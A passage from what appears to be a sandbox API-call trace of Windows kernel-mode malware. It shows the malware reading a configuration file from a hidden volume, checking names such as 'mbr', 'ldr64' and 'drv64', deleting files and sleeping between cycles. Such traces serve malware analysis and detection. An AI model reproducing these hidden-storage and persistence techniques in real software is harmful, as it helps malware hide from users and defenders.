_Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.305] KeEnterCriticalRegion () [0121.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.305] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.305] IdePortDispatch () returned 0x103 [0121.305] KeWaitForMutexObject () returned 0x0 [0121.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.306] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.306] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.306] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.306] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.306] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4ac0 [0121.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] KeLeaveCriticalRegion () [0121.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.306] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.306] KeEnterCriticalRegion () [0121.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] KeLeaveCriticalRegion () [0121.306] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.306] KeEnterCriticalRegion () [0121.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.306] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.306] IdePortDispatch () returned 0x103 [0121.306] KeWaitForMutexObject () returned 0x0 [0121.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] KeLeaveCriticalRegion () [0121.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.306] KeEnterCriticalRegion () [0121.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.306] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a04000 [0121.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.306] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.306] IdePortDispatch () returned 0x103 [0121.307] KeWaitForMutexObject () returned 0x0 [0121.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.307] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.307] IdePortDispatch () returned 0x103 [0121.307] KeWaitForMutexObject () returned 0x0 [0121.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.307] KeLeaveCriticalRegion () [0121.307] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.307] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.307] KeEnterCriticalRegion () [0121.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.307] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] KeLeaveCriticalRegion () [0121.308] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.308] KeEnterCriticalRegion () [0121.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc46e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] KeLeaveCriticalRegion () [0121.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.308] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.308] KeEnterCriticalRegion () [0121.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] ExFreePoolWithTag (P=0xfffffa8003bc4ac0, Tag=0x0) [0121.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] KeLeaveCriticalRegion () [0121.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.308] ReleaseMutex (hMutex=0xf0) returned 1 [0121.308] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.308] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.308] KeEnterCriticalRegion () [0121.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.308] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.308] IdePortDispatch () returned 0x103 [0121.308] KeWaitForMutexObject () returned 0x0 [0121.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.308] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.308] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.308] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.308] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.308] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.308] KeLeaveCriticalRegion () [0121.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.309] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.309] KeEnterCriticalRegion () [0121.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.309] KeLeaveCriticalRegion () [0121.309] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.309] KeEnterCriticalRegion () [0121.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.309] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.309] IdePortDispatch () returned 0x103 [0121.309] KeWaitForMutexObject () returned 0x0 [0121.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.309] KeLeaveCriticalRegion () [0121.309] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.309] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.309] KeEnterCriticalRegion () [0121.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.309] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b05000 [0121.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.309] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.309] IdePortDispatch () returned 0x103 [0121.309] KeWaitForMutexObject () returned 0x0 [0121.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.310] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.310] IdePortDispatch () returned 0x103 [0121.310] KeWaitForMutexObject () returned 0x0 [0121.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.310] KeLeaveCriticalRegion () [0121.310] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.310] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.310] KeEnterCriticalRegion () [0121.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.310] KeLeaveCriticalRegion () [0121.310] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.310] KeEnterCriticalRegion () [0121.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.310] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.311] KeLeaveCriticalRegion () [0121.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.311] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.311] KeEnterCriticalRegion () [0121.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.311] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.311] KeLeaveCriticalRegion () [0121.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.311] ReleaseMutex (hMutex=0xf0) returned 1 [0121.311] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.311] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.311] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.311] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.311] KeEnterCriticalRegion () [0121.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.311] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.311] IdePortDispatch () returned 0x103 [0121.311] KeWaitForMutexObject () returned 0x0 [0121.311] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.311] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.311] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.311] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.311] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.311] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.311] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.311] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.311] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.311] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.311] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.311] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.311] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.311] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.311] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.311] KeLeaveCriticalRegion () [0121.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.312] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.312] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.312] KeEnterCriticalRegion () [0121.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.312] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.312] IdePortDispatch () returned 0x103 [0121.312] KeWaitForMutexObject () returned 0x0 [0121.312] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.312] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.312] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.312] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.312] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.312] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.312] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.312] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.312] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.312] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.312] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.312] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.312] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.312] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.312] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.312] KeLeaveCriticalRegion () [0121.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.312] ReleaseMutex (hMutex=0x100) returned 1 [0121.312] Sleep (dwMilliseconds=0x2bf20) [0121.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b823d30, dwHighDateTime=0x1d24fa4)) [0121.325] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.325] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.325] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.325] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.325] KeEnterCriticalRegion () [0121.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.325] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.325] IdePortDispatch () returned 0x103 [0121.326] KeWaitForMutexObject () returned 0x0 [0121.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.326] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.326] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.326] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.326] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.326] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.326] KeLeaveCriticalRegion () [0121.326] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.326] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.326] KeEnterCriticalRegion () [0121.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.326] KeLeaveCriticalRegion () [0121.326] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.326] KeEnterCriticalRegion () [0121.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.326] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.326] IdePortDispatch () returned 0x103 [0121.326] KeWaitForMutexObject () returned 0x0 [0121.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.326] KeLeaveCriticalRegion () [0121.326] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.326] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.326] KeEnterCriticalRegion () [0121.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.327] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b08000 [0121.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.327] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.327] IdePortDispatch () returned 0x103 [0121.327] KeWaitForMutexObject () returned 0x0 [0121.327] 